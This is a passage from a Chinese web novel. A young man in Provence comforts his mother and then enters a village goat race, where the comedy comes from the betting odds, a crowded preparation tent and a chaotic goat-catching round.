他居然忽视了关心脆弱敏感的母亲的情绪 罗天海停下动作,看罗南: “但你也别太往心里去,哭完就好了,过几天我再带她去海边玩玩。” 罗南撑着身后的橱柜说: “可这治标不治本。” 罗天海直起腰来叹气: “其实说白了,你妈就是太闲了等从海边回来,我想法给她找点事情干。” “什么事?”罗南好奇的问。 “没想好呢。”罗天海摇头,“不过最近你多哄哄她,你嘴甜,你妈吃这一套。” 罗南侧了下脑袋,并不认同的说: “但我认为你嘴甜点,妈妈会更开心.你刚刚的表现太差劲了,真想让路易开一门课程,教你如何给妻子提供情绪价值。” 路易和罗天海简直是两个极端。 一个深谙夫妻之道,习惯将妻子捧在手心里。 一个什么都不懂,妻子只能自己哄自己。 只能说冯珍心大的时候是真大,换个人和罗天海过日子,早就气死了。 罗天海猛烈的摇头: “我不行,我说不出来那种话。” 想一想路易嘴里的那些情话,他就开始打冷颤了。 罗南叹气: “那你就眼睁睁的看着妈妈独自解决情绪问题?咱们周围改变的人何止是那些妇女,卢卡斯没变?特奥没变?亨利没变?你也该改改性子了爸爸。” 罗南说了两句便上楼了,让罗天海自己在这琢磨琢磨。 罗天海只是嘴笨,可他是行动上的巨人。 为了让妻子开心,他把甜瓜切成了菱形,这是她最近在追的一部肥皂剧里,女主喜欢吃的巧克力的样子。 每次给女主吃巧克力的镜头,冯珍都得嘟囔一句: “这是什么牌子的巧克力啊,看着真好吃。” 别看罗天海没给过反应,可他心里记住了,去阿普特时,他还在那边的超市里找过这个牌子的巧克力,但没找到就是了。 端着这一盘子‘巧克力’甜瓜,罗天海开始琢磨,妻子看到它能不能稍微开心一点。 他当然想要哄妻子开心。 奈何跨出第一步需要动力. 随即,他想到了罗南刚刚的话。 骄傲的卢卡斯能低下头。 谁都不服的亨利有了想要守护一生的罗南先生。 懒惰的特奥白天干一份工晚上还要回去做编织。 这些人谁不比罗天海‘病情’严重? 他们都能有所改变怎么自己就不行呢? 停在卧室门口,罗天海深深吸了一口气,同时回忆妻子最近在追的这部肥皂剧里,还有什么可以利用的桥段和东西。 那是冯珍近几个月最喜欢的一部电视剧,没有之一,喜欢到即使出去聚会,也要在别人家追更的痴迷程度。 如果投其所好,也许妻子可以马上转换心情? 很快,罗天海想起了一个桥段。 电视剧的男主有一个口头禅,每次他说出这句话的时候,冯珍都会扭捏的哼哼两句,一副怀春少女的样子。 一狠心,一跺脚,罗天海决定他的改变就从这一刻开始! 他清了清嗓子,故意模仿起电视剧中男主低沉又有磁性的声音,同时勇敢的推开了卧室的门: “嘿宝贝儿,你的马赛小太阳拿着巧克力来喂你了,啊张嘴——” 下一秒,时间静止。 或站或蹲或躺或趴在床附近的五双乌溜溜的大眼睛同时震惊的盯向门口的位置。 随即罗天海骂娘的声音,罗南嘎嘎嘎爆笑的声音,冯珍嘻嘻嘻害羞的声音,不知发生了什么但是很激动的汪汪汪声和被惊吓到不停咩咩咩的羊声同时爆发出来。 “罗南,你给我滚出去!!”罗天海抬脚踢人。 “宝贝儿们,快离开这里,我们不要碍事。”罗南模仿着父亲刚刚的口音抱头鼠窜。 “讨厌呢你,喊人家宝贝干什么,怪不好意思的”冯珍把头蒙到被子里。 冯珍很好哄。 罗天海的一句宝贝就把她的阴霾扫去了。 可罗南并没有把这件事翻篇。 母亲心思细腻,这种情绪很有可能会反复出现,让她不开心。 他开始思索,是不是可以人为帮助母亲创造点什么优越感出来。 罗南是说做就做的性格,想到了就要开始实施。 首先他需要先了解在普罗旺斯有什么事情可以让人产生优越感,于是开始密切关注普罗旺斯当地的报纸和杂志,希望能找一找灵感。 某一天,他去门口报箱拿《普罗旺斯日报》。 打开一看,发现满满四整版的照片全部变成了各种各样的羊,这意味着——今年的山羊赛跑大赛开始了。 第523章 别拦着我,我要做倒数第一! 博尼约在半个多月前就成为了羊城,但那是小范围的。 一旦报纸上也出现了羊的各种素材,那么一定是因为比赛日期临近了。 主办方会围绕山羊赛跑大赛开展博彩业务,为了让顾客下注时有所参考,比赛前几天,他们派摄影师前往20组选手所居住的村落,拍摄‘公关照’。 “哈哈,又见面了,你穿的还是那么‘帅气’。”摄影师一来就和呼呼打起了招呼,对羊的兴趣比对人还多,“我记得你,你去年穿了一身红色。” 摄影师能认出呼呼,完全是因为今年它依然在造型上‘高羊一头’。 经过多轮评选,罗南采用了一款由马术比赛为设计灵感的‘亲子装’款式,米色有领衬衣,灯芯绒黑色马裤,皮质护腿和传统短靴,头上是与之配套的一顶带绑带的头盔.这身打扮是八十年代末高级马场中最常见的搭配。 呼呼没有穿裤子,和罗南穿了同材质、同款式的带领衬衣,头上也有一顶带绑带的头盔,整个羊精神极了。 这个头盔是罗南最满意的设计细节,去年比赛还没开始,呼呼的帽子就歪了,挡住了它的一只眼睛,而它就是用这种状态参加比赛的。 现在有了带绑带的头盔,即使呼呼中途和羊打起来,也可以做到两只眼睛看世界了。 设计并制作这款亲子装的设计师是康奈尔的姐姐,她来送衣服时鼓励罗南——高雅的不止是骑马,说不定还有赛羊,别管结局如何,今年你和呼呼一定是现场最帅气的两个。 罗南选择的拍照地点就在家门口的葡萄院里。 背景是他的大房子,前景是穿着亲子装的一人一羊。 摄影师咔嚓咔嚓摁着快门,同时啧啧称奇的说: “真有意思,这只羊还会笑?” 人嘛,拍照的时候笑很正常,但羊怎么还咧着嘴呢? 罗南更加用力的攥紧手里的绳子,以防呼呼随时暴起伤狗。 他看着摄影师脚下来看热闹的马赛,敷衍的说: “啊,对,我这羊聪明得很呢。” 马赛和呼呼依然水火不容,除了一起看热闹(冯珍哭)时能短暂相处,其他的时候碰到必定要好一番缠斗。 这会马赛是来看呼呼的热闹,羊更容不下它了,罗南手里的绳子好几次差点脱手。 “聪明得很?”摄影师放下相机,哭笑不得的问,“我记得去年它都没有完成比赛吧?” “额——”罗南一阵语塞,“今年应该能跑完全程了。” 山羊赛跑大赛的比赛距离只有3公里多,跟他们平时拉练的强度比差远了。 罗南能带着呼呼跑更远的距离,肯定也能跑完博尼约比赛的全程。 说句自信点的话,拿到名次也不是没有可能的! 跟着摄影师来的还有一个主办方的工作人员,留着一脸浓密的大胡子,他手拿一个夹子对罗南说: “我需要了解一些基础信息,你要如实的回答我。” 这些也是下注时的参考资料,罗南配合的点头: “好的。” 大胡子看着夹子上的问题问: “它的比赛风格?例如是耐力型选手还是爆发型选手。” 这一次比赛,卢尔马兰的许多村民都会关注,也有许多人要去下注,罗南决定让他们的‘简历’好看一些: “耐力和爆发型兼顾。” 对面的人继续问: “弱点是什么?例如见到漂亮的女士无法移动、好斗或者嘴馋等等。” 罗南斟酌了一下: “弱点是太争强好胜了。” 那名工作人员没有感情的继续提问: “参加比赛的年限?” 罗南想了一下,去年买呼呼时,它的前主人说那个时候呼呼还不到1岁,又过了一年,现在它马上两岁了: “整个羊生都在参加比赛。” 大胡子无语的抬头瞥了罗南一眼: “骑师的比赛年限。” 罗南倒吸一口凉气,没想到自己成短板了: “几个月吧。” “几个月?”那人追问。 “一个多月.”罗南不好意思的咕哝。 “喜欢什么颜色?”大胡子继续低头看夹子。 “嗯?”罗南疑惑的抬头,“我的吗?还是羊的?” 那人迅速指了指他们俩: “分别。” 罗南皱着眉头问: “这跟比赛有什么关系吗?” 大胡子头都不抬的说: “比赛的偶然性太多,有些人更加喜欢依靠‘玄学’下注,就比如选手和骑手是不是和他喜欢相同的颜色。” “哦哦哦,这样啊。”罗南点头,“它喜欢绿色,我也喜欢绿色。” “最爱吃的食物是什么.” 大胡子问的问题千奇百怪,从喜欢什么食物,到有没有什么幸运物给人的感觉不像是在给山羊赛跑的下注做准备,更像是在给某些小姐太太推荐男朋友。 不过整体回答下来,罗南还是挺开心的。 如果不看重羊和骑师本身的素质和资料,更看重这些乱七八糟的东西,那么它和呼呼应该可以拿出一份不错的‘简历’。 因为他在回答问题时花了许许多多小心思,尽量把它们这对组合描述成了人羊合一、心意相通的样子。 问完所有,大胡子把夹子递到罗南的面前: “你看看有没有问题,没有什么问题我们就这样打印你们这组选手的资料了。” “应该没有什么问题,那就麻烦你了。”罗南笑着接过来,只看了第一行人就傻了。 第一行是一个他没有回答过的问提,提干是——历史成绩。 下面的回答是:参与1次,中途临阵脱逃,无成绩。 “这个——”罗南想要解释些什么,但大胡子粗鲁的将夹子拿走了。 “答案有问题吗,先生?”大胡子看着呼呼,语气不善的说,“去年为了找到它,我在博尼约拥挤狭窄的街道中跑了整整3个小时,人都累瘦了!” 罗南:“.” 普罗旺斯人确实会根据幸运物或者其他玄学来做选择。 但写在罗南和呼呼这组选手资料上的第一个问题就把许多人劝退了。 其他的羊,再怎样至少有个名次。 临阵脱逃是怎么个事儿呢? 比赛前一天,皮埃尔特地找到在老酒馆喝酒的罗南,想要对他说句‘恭喜’: “伙计,你知道自己现在的赔率是多少吗?1比17!” “什么什么?赔率又高了吗?”康奈尔挤进来,“我还以为昨天的1比15是极限了。” 罗南和呼呼是不是本届山羊赛跑比赛中最帅气的那一组现在还不好说,但他们一定是最不被看好的那组是肯定的。 “他们在公报私仇!”亨利义愤填膺的放下酒杯,“每年比赛我都关注,从来没有见过这么离谱的赔率!罗南先生,我一定会买你赢!” “哈哈,亨利,你找到了一条致富之路啊。”皮埃尔点了一杯冰镇啤酒,坐到吧台凳上语气调侃的说,“买1000赚17000,多买点!” 罗南可不想听朋友们拿他取乐,逃离了老酒馆: “你们继续聊致富之路吧,我要回去给呼呼喂粮,再睡个好觉,明天好好比赛。” 在这之前,罗南对这次比赛没有任何预期。 几个月前佐伊给他们报名,只是为了解决罗南和呼呼的紧张关系。 可时至今日,他心里出现了一口气,一口想要争胜的气。 越不看好他,他越要取得好成绩! 你们明天就等着瞧吧!! “别走啊罗南,再喝会,再喝会啊。”皮埃尔对着他的背影喊。 法比安拿着酒杯坐到皮埃尔的身边: “你就逗罗南吧,明明一开盘你就着急的买了500法郎罗南赢。” 皮埃尔一副恶作剧的样子: “激一激,才能让他努力,这可是卢尔马兰第一次有人参加这项赛事,我怎么会买别人?” “皮埃尔,今年的投注规则是什么?还是买前三吗?”康奈尔好奇的问。 大部分人会在明早比赛之前去博尼约下注,不过山羊赛跑大赛的规则每年都不一样,去年投注的时候要预测前三名的顺次,但之前只需要买第一就行。 皮埃尔喝了一口冰镇啤酒,爽得他嘶哑了一声: “今年又回归到之前的下注规则,买第一就可以,但听说比赛规则又变了。” 去年,罗南和朋友们以‘集体出游’的姿态来面对山羊赛跑大赛。 路易那个圈子的朋友集体出动,在比赛起始点旁边找了一个咖啡厅观看全程。 但今年,罗南变成了选手。 他早上不到7点就从卢尔马兰出发,要赶在8点半之前到达博尼约。 陪同罗南和呼呼一起提前去的是佐伊,其他的朋友们将在稍晚一些过去。 “什么,你说你把那间咖啡厅包了?”路上,罗南用闲聊的语气和佐伊说,今年路易和弗雷迪他们还是在同样的地方看比赛,但他不能去了。 佐伊告诉罗南,不止弗雷迪和路易将在那里看比赛,卢尔马兰的许多村民都将在那里看比赛,因为她‘包场’了。 “不是包所有,只包了一个露台。”佐伊纠正道,“就是我们上次看比赛的那个露台。” “你包那么大的场地干什么?”罗南有些拿不准的问。 佐伊面容冷峻的说: “我要让他们在最好的位置看你如何拿到好成绩。” 罗南的逆天赔率消息也传到了佐伊的耳朵里。 与此同时,她也听到了许多人拿这件事开的玩笑。 虽然都不是有心的,但佐伊不想听! 爱夫心切的她听不得罗南受一丁点委屈。 罗南为了准备比赛有多努力,她都看在眼睛里。 比赛只有3公里,但他天天带呼呼出去跑10公里。 他们怎么可能还拿倒数第一啊? 佐伊越想越气: “到了博尼约,我马上去下注,我要买5000法郎你赢。” “买太多了吧?”罗南赶紧阻拦,“少买一点参与下就好。” 佐伊气鼓鼓的说: “已经买的很少了啊.” 罗南突然乐了。 佐伊的赚钱能力没比罗南差多少,装修房子休息的那几个月让她的身价更高了。 而且现在除了艺术作品的收入,长相出众的佐伊还经常会被品牌客户邀请去参加其他的活动,报酬颇丰。 仔细想想,罗南今年赚了不少钱,可都让他‘折腾’没了,这个月穷到要去餐厅预支钱过日子,所以他觉得5000法郎是个大数字。 可佐伊从4月份买完土地后没有花过什么大钱,现在一定是极其富有的. 对于一件作品轻轻松松卖几万法郎的她来说,5000法郎还真算是小的不能再小的钱了。 想明白这些,罗南伸手摸向车厢里的呼呼: “我们一定要赢下来,赔率1比17呢,听到了没?” “咩咩咩咩咩——” 呼呼配合的将羊头放到佐伊和罗南的中间,一脸的笑容。 罗南没有阻拦佐伊去下注。 输了这点钱不心疼,赢了就是一笔大大的收入,值得一拼。 这笔金额不小的押注一下子让罗南和呼呼的赔率有了变化,从1比17变成了1比13。 看着黑板上的数字,罗南终于笑出来了。 再努努力,他就不是倒数第一了。 比赛前,骑手们和羊要一直待在备战区,赛前的表演结束才能出去,那个时候主办方会宣布比赛规则。 山羊赛跑比赛已经举办了100多年,为了始终保持新鲜感,规则每年不同,而且连选手都不知道改动了什么。 不过主办方不会大改模式,‘竞赛’的主题不会变更,只会在里面加点出彩的小细节。 比如以前冲线时要过一条泥河,后来改成了用棍子戳破代表自己数字的水球等等。 随着时间流逝,备战区外已热闹非凡,显然参与活动的游客和本地人已经陆续抵达博尼约。 可整个备战区安静如鸡。 由于是竞争关系,热情的普罗旺斯人在这种情况下也没有心情聊天了,骑手都选择和羊单独待在一起,做着最后的准备。 今天的呼呼格外听话,罗南手上的绳子不用用力,它也会一直跟在罗南的身边,从来没有超过一米。 “佐伊说的对,你和别的羊不一样。”罗南温柔的摸它的羊角,“你什么都懂,知道今天是重要的日子对不对?” 呼呼低头继续享用比赛前主办方提供的免费大餐,没有表示,也没有躲避罗南的抚摸。 “都这么熟了,脾气还这么臭啊?”又被无视了,罗南哭笑不得的说。 呼呼太有个性了,它有自己的想法。 想跟你玩的时候,什么都好。 不想理你的时候,你喊爹都没用。 很显然,现在就是‘喊爹都没用’的时刻。 罗南又和呼呼说了一会心里话,主要是鼓励。 不一会,主办方的人过来收草,说今年赛事升级,要来许多重量级的嘉宾。 以往羊在起跑线前等待开跑的那十分钟里会产生大量的‘垃圾’,还总有不听话的熊孩子在里面打滚,太不美观了。 今年主办方决定在比赛前的一个小时停止供粮,让选手们在接下来少产生一点垃圾。 这件事让罗南想到了去年发生的滑稽事情。 主办方非常‘鸡贼’,投注的人只能在比赛前十分钟看到选手们的真实样子,下注主要靠那些文字信息。 为了买对选手,去年弗雷迪带阿兰和罗南偷偷来了备战区,提前观察选手。 而自称普罗旺斯动物专家的弗雷迪选择种子选手的方法非常别致——看哪位选手产生的粪便最多。 他说拉空了肚子,羊能跑得快些。 不过那纯属无稽之谈,去年他们观察了几十堆粪便,精心挑选出的选手早早退出了争夺战。 想着想着,罗南突然感觉脚底一片温热,这感觉可太熟悉了。 他马上一个箭步逃离了呼呼的喷射范围,等待排泄结束。 但这一次呼呼拉得无比酣畅淋漓,地上的粪便几乎堆成小山,而它还是没有停下。 这动静吸引了不少骑师的注意,不知是不是心理作用,罗南总感觉这些人看自己的目光里带着一丝——羡慕? “难道弗雷迪真是动物专家?”罗南的心中涌出了一个声音。 人家只说日有所思,夜有所梦。 没有人说过,日有所思,便有幻听 前一秒刚想到弗雷迪,下一秒罗南就听到弗雷迪的声音,似乎在叫自己的名字。 他寻声望去,发现两片帐篷的缝隙里,那个探头探脑的家伙可不就是弗雷迪吗? “我来碰碰运气,没想到组委会的备战区真的和去年安排在一个地方,你果然在这里!”弗雷迪撅着屁股,兴奋的说,“卢尔马兰的人都到了,他们让我转告你,加油比赛!” 罗南像是看到救星一样,问弗雷迪: “羊排泄的多,真的能跑得快吗?” “当然了,我怎么会骗你?我每年要杀几千只羊,普罗旺斯没人比我更懂羊了。”弗雷迪坚定无比的说,“去年只是一个意外。” 罗南一把拉住弗雷迪的胳膊: “告诉我爸爸,买1万法郎比赛,等我回去把钱还给他。” “买几号选手?”弗雷迪兴奋的问。 罗南指了指自己胸口上的数字: “买6号,我和呼呼。” 十几分钟后,弗雷迪来备战区给罗南复命: “买完了,你就放心吧!” “现在赔率还是1比13吗?”罗南兴奋的问。 还真让皮埃尔说中了,这可不就是一条致富之路吗? 要不是手头不宽裕,他一定会多买点。 “1比13?”弗雷迪瞪大了眼睛,“我们来的时候就到1比9了啊,现在都1比6.5了。” “怎么掉的这么快?”罗南皱着眉毛问。 几天来第一次因太过被‘看好’而生气! 这不是断我的财路吗? 弗雷迪笑着说: “因为全卢尔马兰来看比赛的人都买了你啊,罗南,我们都会为你加油的。” 第524章 乱乱乱乱 弗雷迪说,今天至少有100位卢尔马兰村民来了博尼约,几乎家家户户都派代表来了。 佐伊包下的那个咖啡厅露台根本装不下所有村民,他来备战区的路上在街道两旁看到了许许多多熟面孔,大家都是来给罗南加油的。 罗南听的心中一暖。 原来有这么多人都看好他和呼呼吗? 他的情绪一下子就从赔率降低的失落中脱离,并且将目标从自己‘致富’,变更成带‘全村致富’! 由于罗南的参赛,今年卢尔马兰人投注的热情无比高涨,连佐伊这种不关心体育竞技,也对这类比赛不感兴趣的人都去主动投注了。 一个人赚钱了有什么意思? 给全村人带来财富,才配得上这场乡村狂欢! 今天的博尼约必须是属于卢尔马兰人的.罗南在心中如是给自己打气。 “告诉大家,我和呼呼的状态非常好。”罗南对弗雷迪说,“如果相信我,可以多买点,你看,呼呼拉出来了许多东西。” 弗雷迪是山羊赛跑大赛的忠实观众,已经连续买了十几年羊,虽然从来没有获得过一次胜利,但经验丰富。 他顺着罗南的手看向呼呼的身下,又看了一圈其他的选手,几秒钟后调转方向兴奋的离开了这里: “我再去买500法郎,然后把这个消息告诉来的卢尔马兰人。” 罗南透过两片帐篷中间的缝隙,目送弗雷迪离开。 在这片小小的缝隙里,他看到了穿着五彩斑斓花裙子、格子衬衫、戴着宽檐草帽的村民和游客挤满了广场和赛道两侧。 看到了若隐若现的红色罂粟花、紫色薰衣草和明黄色的向日葵。 还看到了临时搭建起的彩色凉棚下的本地奶酪、葡萄酒、陶器和小吃摊位。 此时此刻,罗南心中涌出了一股跃跃欲试的冲动——他迫切的想要离开备战区,去外面大展身手。 罗南拿出带来的亲子装,走向呼呼: “我们该换战袍了。” 罗南迫切想要离开备战区出去的冲动,来源于身后卢尔马兰村民的支持和鼓励。 他想要赶紧拿下第一,给大家一个交代。 按理说,这种冲动应该随着时间推移变淡,或者被其他情绪,例如紧张等所取代。 但给自己和呼呼换完战袍后,罗南想要出去的冲动愈发迫切,已经到了无法容忍的地步因为每在备战区里多待一秒钟都是对身体和心理的巨大挑战。 闷热的汗味,山羊的羊膻味、混杂着泥土的清草味,还有羊粪便的味道,种种浓烈的味道闷在临时搭建起的备战区里,‘辣’的罗南睁不开眼。 实事求是的讲,罗南并不熟悉山羊这种动物,呼呼是他这辈子亲密接触的第一只,完全无法和常年与羊打交道的其他骑师比,来参赛纯属偶然。 他突然认同了开盘时组委会给自己的赔率——倒数第一给的可太专业了。 备战区外的音乐声越来越激烈,游客的欢呼声每过几秒钟便会爆发一次,这说明演出即将达到高潮。 但只有演出结束,他们这些骑师和羊才能离开备战区,呼吸新鲜空气。 “再忍忍就过去了。”罗南揉了揉火辣辣的眼睛。 和罗南的状态相比,其他骑师就轻松太多了。 他们有的在随着音乐用脚打拍子,有的在拉着羊角小幅度跳舞,还有的在给自己的羊选手整理造型。 这一届比赛,选手们都重视起了外形,没有羊裸奔。 即使没有穿衣服,也会在羊角上绑上三色旗彩带、主人的围巾或者挂个精美铃铛什么的。 不过除了以上的几种情况出现,更多的骑师会用最后的这段时间来观察对手。 知己知彼才能百战百胜,观察的同时最好再选择几个强大的‘假想敌’。 呼呼是卸货最多的那一个,许多骑师都格外注意罗南这边的动静,可当他们看到罗南不停擦眼泪、用衣服捂鼻子和奋力在两片帐篷的狭小缝隙中呼吸新鲜空气的样子,又纷纷将目光移开。 呵,不足为惧。 更有甚至,会冷嘲热讽的评价几句: “这位伙计看起来有点水土不服啊。” “哈哈,可能走错场地了,这里是山羊赛跑比赛,不是马场。” “生面孔,是业余的吧?” 罗南在心里不服气的抱怨——业余的怎么了?业余的赔率也比你们这些专业的低! 如果没有记错,1比6.5的赔率,已经可以挤入‘看好榜’的前十了。 呼呼今天格外的安静,也格外的粘人。 它虽然没怎么跟罗南互动,但始终趴在距离罗南不远的地方,不肯离开他分毫。 罗南摸了摸呼呼脑袋上的绑带,以确认它是否牢固: “你小子在组委会出名了,没人看好你,我呢也是个业余的但谁说我们不能逆袭呢?” 草虽然停止了供应,但这些选手的排泄没有停止。 又过了十几分钟,罗南的身体和心理防线都达到了临界值,随时可以把昨晚吃的东西吐出来。 他发誓,必须要想个办法出去呼吸一下。 但这显然是很难达成的目标,因为不停有骑师想要出去看表演,被门口的保安无情的推了回去。 每一年山羊赛跑大赛,主办方都会请来重量级的本土嘉宾。 罗南还记得去年穿着暴露的嘉宾刚一出场,就将整个博尼约变成了露天舞池——目之所及,全部是搔首弄姿的男男女女。 那场面.啧啧啧。 主办方说今年赛事全方位升级,其中也包括了嘉宾量级。 虽然距离主舞台还有一段距离,但备战区周围的尖叫声此起彼伏,似乎过完了今天嗓子就不要了。 隔着帐篷,骑师们听不清外面播报的嘉宾名字,也不知道外面在表演什么东西,只能围在门口,寄希望保安能将他们放出去看一眼。 但半个小时过去,结果是一次又一次的无功而返。 罗南在旁边围观了一阵子,看得急死。 其他人指望不上,只能他自己上了。 不过罗南没有笨到去和保安硬碰硬。 他对去年山羊赛跑大赛的印象不太深了,唯一留下深刻记忆的就是现场的混乱。 那是他到普罗旺斯一年多以来,度过的最混乱的一天,没有之一,每一个环节都出现了许许多多的意外——突然闯入的逆行车辆、擅自离开岗位的音乐团、飞扬在空中的早餐和葡萄酒、把桌布误当作起跑旗帜的离谱裁判 既然这是一个历经百年的特色赛事,那必须要延续其特色风采啊。 已经被熏的丧失了理智的罗南,决定给今年的比赛添上一把‘乱’。 很快,又有几名骑师和保安交涉了起来。 “外面叫的那么大声,一定是位重量级的嘉宾,我就看一眼,看一眼就回来。” “不行不行,说多少次了啊,你们现在不能出去,之前就有骑师出去看热闹,看的忘记了比赛,比赛开始了我们喊破了喉咙也找不到人,明明20个选手,最后只上场了19个,根本无法和买了那个选手的人交代你就老实在这里待着吧!” “我参加了五年比赛,从来没见过外面有那么大的动静,不行我必须去看看谁来了。” “再等一下你们就能出去了,再等一等啊,很快了。” 几个不甘心的骑师和保安开启了新的一轮交涉,突然余光看到紧闭的帐篷打开了一道缝隙。 虽然只有一点点,但足以听清外面的播报声和歌声。 现场解说员在距离备战区不远的地方,激情的介绍: “大家听够了没有?还要不要?哈哈,快快拿出你们的热情和双手,欢迎夏洛特·维吉妮小姐的到来!下面,她将演唱大家最喜欢的那首《异乡的他》——” 备战区内。 罗南用尽全身力气喊了起来,以保证每个骑师都能听到他的声音: “是夏洛特·维吉妮!今年的嘉宾是夏洛特·维吉妮!!” 夏洛特·维吉妮不只是巴蒂的女神,她也是普罗旺斯无数男人的女神。 听到这个名字连保安都愣了一下。 说时迟那时快。 罗南抓住空档将头探出帐篷,大口大口的贪婪呼吸起来。 刚出炉面包的麦香、阳光下干草的甜味、烧烤摊的熏肉香、空气中飘散的葡萄酒的香甜.罗南从来没有觉得呼吸是件那么的幸福事情。 “老子活了,哎呀——”罗南刚舒服的哼唧了一声,下一秒整个人被人用力撞了出来。 无数个大汉同时向外冲去.保安根本招架不住了。 按照往年流程安排,骑师带着选手出现时,现场解说员要将所有人的目光引向他们,因为他们才是今天的主角。 但演出还没结束,现场解说员便看到备战区的帐篷打开了一道缝隙,随后有带着号码牌的骑师出来了。 “怎么流程提前了?但如果不乱,就不是山羊赛跑大赛了。” 他是一位久经沙场的老现场解说员,而且主持了许多年这个活动面对这种小事件,立即想到了新的预案。 在夏洛特·维吉妮动人的歌声和现场观众的欢呼尖叫声中,现场解说员激情四射的大喊: “快看,我们的骑师已经迫不及待的要开始今年的比赛,他们正在向我们跑来!” 罗南不聋,趔趄了好几步刚刚站稳,又被现场解说员的这个‘跑’字逼得跑起了起来。 可能是觉得在第一位的罗南跑的不够好看,现场解说员‘遥控’了起来: “骑师正在向两侧的观众打招呼,朋友们,拿出你们的热情欢迎他们!” 罗南不情不愿的招手致意,没跑两步便看到了熟悉的卢尔马兰村民。 啊,康奈尔和他的姐姐。 什么,约瑟芬也来了? 诶,波热不是说今天不来吗?怎么站在了法比安的身边? 随着越来越多的熟面孔出现,使得罗南原本懈怠的状态变得精神起来,跑的越来越矫健,手挥舞的也越来越快,当然了,对象全部是卢尔马兰人。 很快,他路过了中央舞台区,和夏洛特远远的四目相对。 罗南笑着对夏洛特招手,她也是卢尔马兰人。 夏洛特也微笑着对罗南挥手。 但她不只挥手,还伸出了一根食指,在空中点了几点,随后攥紧拳头对着他挥了两下。 罗南不知道夏洛特那些奇怪的动作是什么意思,不过这个明星给他的印象一直是神神叨叨的,就当是给他加油了。 有了大明星邻居的加油打气,罗南跑的更加卖力和矫健。 耳畔,现场解说员用开玩笑的语气说: “人气选手就是不一样啊,比赛还没开始就着急展示矫捷的身姿和体态了!” 刚刚难闻的气味熏的罗南差点忘记了使命。 他今天的目的可是带着全村致富! 现场解说员的话让罗南将目光放去了起始点的附近,他想要看看自己的赔率现在是多少了。 他记得,佐伊包下的那个露台上,就有写着实时赔率的黑板。 远远的,罗南看到了在露台上正快速挥舞双手的佐伊,随即跑的更快了。 现场解说员的声音再次出现: “哈哈,我们的人气选手已经迫不及待的开始比赛了吗?朋友们,让我们给跑在第一位的6号选手掌声,祝福他的最终名次也能和他的人气一样!” 罗南又一个趔趄,差点摔在原地。 现场解说员说的是几号? 6号吗? 难道是闻多了羊屎味,出幻觉了? 在巨大的震惊中,他看到佐伊所在的那个露台上,弗雷迪和阿兰激动的举起了一个黑色的板子。 他们一个指罗南,一个指上面的数字。 那上面,罗南名字后面的数字赫然写着1:1.5。 罗南一脑袋问号: “上帝,是谁在断我的财路?!” 骑师们擅自离开了备战区,导致组委会需要将羊集体运到起跑区域。 在等羊来的那几分钟里,罗南见到了来加油打气的弗雷迪。 “我的赔率怎么变成1比1.5了?”这是罗南最关心的问题。 弗雷迪惊魂未定的说: “早上有一个大买家买了10万法郎你赢,这是今年比赛最大的单笔投入。” “买了10万我赢?”罗南瞪大眼睛,“谁啊,疯了吗?” 突然,罗南感觉有一道闪电直接劈到了他的头顶。 1根食指。 之后又是一个拳头. 罗南咬牙切齿的看向主舞台区,夏洛特刚刚表演的位置: “我真是谢谢你啊!!” 不过留给罗南的悲痛时间没有太久。 半分钟后,现场解说员的声音清楚的传到了现场每个人的耳朵里。 “先生们、女士们,是不是已经迫不及待的要观看比赛了?不过在这之前,我要先向大家讲解我们今年的新规则——” 骑师等待区一阵喧哗。 以往都是羊和骑师汇合后才开始讲规则。 可现在羊还没来呢 现场解说员才不会管骑师们在想什么,继续说道: “大家是不是已经厌倦了之前的规则?今年,我们要加点新的‘乐子’,在选手跑向终点之前,要先经过一轮考验,那就是需要在20只羊中抓到属于自己的那一只,人羊合一才可以进入赛道参加比赛,准备好了吗小伙子们?选手正在那里等你们,快去将它们抓住吧!” 距离起跑线50米外的地方被隔离出了一个区域,骑师们的羊正在一个一个被赶进去。 与无语的骑师相对应的,是疯狂了的观众。 他们即将看到一场让人疯狂的抓羊大赛,连1岁小孩子都知道,羊是不会乖乖被人抓到的,尤其是在20只羊的羊群里。 可让所有人都惊掉下巴的是,在混乱的羊群中有一个白色的身影像炮弹一样冲向了某个骑师。 第525章 开心的卢尔马兰人 来博尼约参加山羊赛跑大赛前,罗南和卢尔马兰人聊过许多次这项地方传统赛事。 在他浅薄的普罗旺斯人文知识中,似乎还真没有听过哪个地方特色比赛延续了100多年,只有尼斯狂欢节这类活动能举办超过100年。 卡马尔格斗牛节是普罗旺斯的S级别活动,但只存在了30多年比山羊赛跑大赛的零头还少。 这使得罗南非常好奇,为什么一个没有太多专业含量的山羊赛跑大赛能存在这么长时间还依然可以每年办得热热闹闹的? 卢尔马兰人给出了许多个版本的答案,其中皮埃尔给出的回答是罗南印象最深刻的。 皮埃尔说,每年的山羊赛跑大赛期间,观众没有任何紧张感,只有狂欢的兴奋,大家是被这个离奇、慢节奏但又充满不确定性的滑稽赛事所吸引来的。 整个比赛过程中,荒诞的欢乐是大家最想要看到的东西,比赛结果反而是次要的,只不过今年有了罗南的参与,大家才有了胜败的概念。 从一定程度上讲,博尼约的山羊赛跑大赛实际上是一场以‘竞技’之名,行‘狂欢’之实的乡村嘉年华,其核心和狂欢节的性质很像,但山羊赛跑大赛又比尼斯狂欢节多了一份乡村属性,因此格外受地人的喜爱。 每年,大家都无比期盼这场带有浓郁乡土特色的集体娱乐活动上演。 今年罗南以骑师的身份参与其中,对皮埃尔这番话的体会更加深刻了普罗旺斯人爱看的就是这份不受控制的、荒诞的疯狂。 现场解说员公布完今年的新‘乐子’,骑师们的第一反应就是赶紧冲过去抓羊,要知道如果颜色差别不大,在20只羊中找到自己的选手都需要一点时间。 但在骑师们爆冲而起之前,这条街道的两旁就已经有一大批人先一步冲向临时羊圈的方向,希望在接下来抢得一个vip席位。 有十几个孩子被大人们远远的甩在身后。 不过这不影响他们一边跑,还一边兴奋的大喊大叫。 “快去看!他们要抓羊了!这比比赛还好看啊,比赛时跟着跑累死了。” “那些羊都缩到一起了看到没有?把它们分开很难啊,今年的规则太棒了!” “骑师们会不会打起来?看腻了羊打架,想看人打!!” 业余的就是业余的。 虽然罗南起跑反应不算慢,但他顶不过那些200多斤壮汉,像开碰碰车一样在不算宽敞的街道上被无情的挤了几下,当他跑到羊圈,里面的人和羊已经乱成一锅粥了。 遇事不慌,先看看热闹。 20只羊离开了熟悉的骑师,又被带到了陌生的地方,下意识的蜷缩到临时羊圈的一个角落里。 